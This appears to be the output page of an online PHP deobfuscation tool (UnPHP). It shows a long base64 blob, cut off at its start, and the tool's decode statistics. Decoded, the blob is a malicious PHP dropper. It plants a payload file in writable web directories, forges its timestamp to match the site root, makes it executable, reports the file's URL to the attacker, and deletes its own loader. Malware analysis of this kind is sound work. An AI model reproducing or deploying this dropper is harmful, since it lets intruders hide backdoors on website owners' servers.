Qp7DQogICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCkpDQogICAgew0KICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJHBhdGgsIEdldFBheWxvYWQoJHBheWxvYWQpKSAhPSBGQUxTRSkNCiAgICAgICAgew0KICAgICAgICAgICAgcmV0dXJuIFRSVUU7DQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgIHJldHVybiBGQUxTRTsNCn0NCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KIyBnZXQgYmFzZSBsb2NhbCBhbmQgcmVtb3RlIHBhdGgNCiRiYXNlX3d3d19wYXRoID0gJGhvc3QgPSBAJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJGJhc2VfbG9jYWxfcGF0aCA9IEdldERvY1Jvb3QoKTsNCg0KaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aC4iLy5odGFjY2VzcyIpKSkNCnsNCiAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoLiIvaW5kZXgucGhwIikpKQ0KICAgIHsNCiAgICAgICAgaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aC4iL2luZGV4Lmh0bWwiKSkpDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmICghKCRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEBzdGF0KCRiYXNlX2xvY2FsX3BhdGguIi8uLiIpKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoKSkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBBcnJheSgpOw0KICAgICAgICAgICAgICAgICAgICAkYmFzZV9sb2NhbF9wYXRoX3RpbWVbJ210aW1lJ10gPSB0aW1lKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KDQokYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSAkYmFzZV9sb2NhbF9wYXRoX3RpbWVbJ210aW1lJ107DQoNCiRkaXJfbGlzdF93cml0YWJsZSA9IEdldFdyaXRhYmxlRGlycygpOw0KDQppZiAoY291bnQoJGRpcl9saXN0X3dyaXRhYmxlKSA9PSAwKQ0Kew0KICAgIGVjaG8gIlVSTCNTVEFUVVNfVU5XUklUQUJMRSI7DQogICAgdW5saW5rKCJKd2xzamRfYmFhcWlmZy5waHAiKTsNCiAgICBleGl0KCk7DQp9DQoNCnVzb3J0KCRkaXJfbGlzdF93cml0YWJsZSwgJ2NvbXBhcmVyJyk7ICMgc29ydCBkaXJlY3RvcnkgYnkgbGVuDQoNCiRsaXN0X3dyaXRhYmxlID0gQXJyYXkoKTsNCiRsaXN0X3dyaXRhYmxlW10gPSAkZGlyX2xpc3Rfd3JpdGFibGVbMF07DQokbGlzdF93cml0YWJsZVtdID0gJGRpcl9saXN0X3dyaXRhYmxlW3JhbmQoMCxzaXplb2YoJGRpcl9saXN0X3dyaXRhYmxlKSldOw0KJGdvb2QgPSBGQUxTRTsNCiRnb29kX2NvdW50ZXIgPSAwOw0KIyB0cnkgdG8gdXBsb2FkDQokbWF4X3RyeWVzID0gc3RybGVuKCRwYXlsb2FkX25hbWUpID09IDAgPyA1IDogMTsNCmZvcmVhY2ggKCRsaXN0X3dyaXRhYmxlIGFzICRjdXJyZW50X2RpcikNCnsNCiAgICAvLyBpZiBwYXlsb2FkIG5hbWUgaXMgc2V0LCBubyBtb3JlIG9uZSB0cnkgdG8gdXBsb2FkIG9uIGN1cnJlbnQgZGlyDQogICAgLy9mb3IgKCRpPTA7ICRpIDwgJG1heF90cnllczsgJGkrKykNCiAgICB7DQogICAgICAgIGlmIChzdHJsZW4oJHBheWxvYWRfbmFtZSkgPT0gMCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRlbXBfcGF5bG9hZF9uYW1lID0gZ2VuZXJhdGVSYW5kb21TdHJpbmcoKTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICR0ZW1wX3BheWxvYWRfbmFtZSA9ICRwYXlsb2FkX25hbWU7DQogICAgICAgIH0NCg0KICAgICAgICAkZnVsbF9wYXlsb2FkX25hbWUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRlbXBfcGF5bG9hZF9uYW1lOw0KDQogICAgICAgICR1cmlfcGF0aCA9IEdldFBhdGhEaWZmKCRiYXNlX2xvY2FsX3BhdGgsICRmdWxsX3BheWxvYWRfbmFtZSk7DQogICAgICAgIGlmIChzdHJwb3MoJHVyaV9wYXRoLCAkdGVtcF9wYXlsb2FkX25hbWUpID09PSBmYWxzZSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHVyaV9wYXRoID0gJHVyaV9wYXRoIC4gIi8iICAuICR0ZW1wX3BheWxvYWRfbmFtZTsNCiAgICAgICAgfQ0KICAgICAgICAkZnVsbF91cmkgPSAkYmFzZV93d3dfcGF0aCAuIChzdHJwb3MoJHVyaV9wYXRoLCAiLyIpID09IDAgPyAkdXJpX3BhdGggOiAiLyIuJHVyaV9wYXRoKTsNCg0KICAgICAgICBpZiAoV3JpdGVQYXlsb2FkKCRmdWxsX3BheWxvYWRfbmFtZSwgJHBheWxvYWRfZmlsZSkpDQogICAgICAgIHsNCiAgICAgICAgICAgIHRvdWNoKCRmdWxsX3BheWxvYWRfbmFtZSwgJGJhc2VfbG9jYWxfcGF0aF90aW1lKTsgLy8gc2V0IGxhc3QgbW9kaWZpY2F0aW9uIHRpbWUgYXMgcm9vdCBmb2xkZXINCiAgICAgICAgICAgIGNobW9kKCRmdWxsX3BheWxvYWRfbmFtZSwgMDc1NSk7DQogICAgICAgICAgICBlY2hvICJCUlVSTCNodHRwOi8vIiAuICRmdWxsX3VyaSAuIFBIUF9FT0w7DQogICAgICAgICAgICAkZ29vZD1UUlVFOw0KICAgICAgICAgICAgJGdvb2RfY291bnRlcisrOw0KICAgICAgICAgICAgaWYgKCRnb29kX2NvdW50ZXIgPjEpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgdW5saW5rKCJKd2xzamRfYmFhcWlmZy5waHAiKTsNCiAgICAgICAgICAgICAgICBlY2hvICIjQ0NDVVJMIjsNCiAgICAgICAgICAgICAgICBleGl0KCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQppZighJGdvb2QpDQogICAgZWNobyAiVVJMI1NUQVRVU19DQU5UVVBMT0FEI0NDQ1VSTCI7DQplY2hvICIjQ0NDVVJMIjsNCnVubGluaygiSndsc2pkX2JhYXFpZmcucGhwIik7DQpleGl0KCk7'));
Function Calls
base64_decode	1
Variables
None
Stats
MD5	f4db24a3eb4ff2c6b95e43aeaafaf4ee
Eval Count	1
Decode Time	588 ms
By using the UnPHP decoder you agree to our Terms of Use. Proudly hosted on Digital Ocean.

Function Calls

None

Variables

None

Stats

MD5 c930cc1668ac3189c0b910233e9b1278
Eval Count 0
Decode Time 587 ms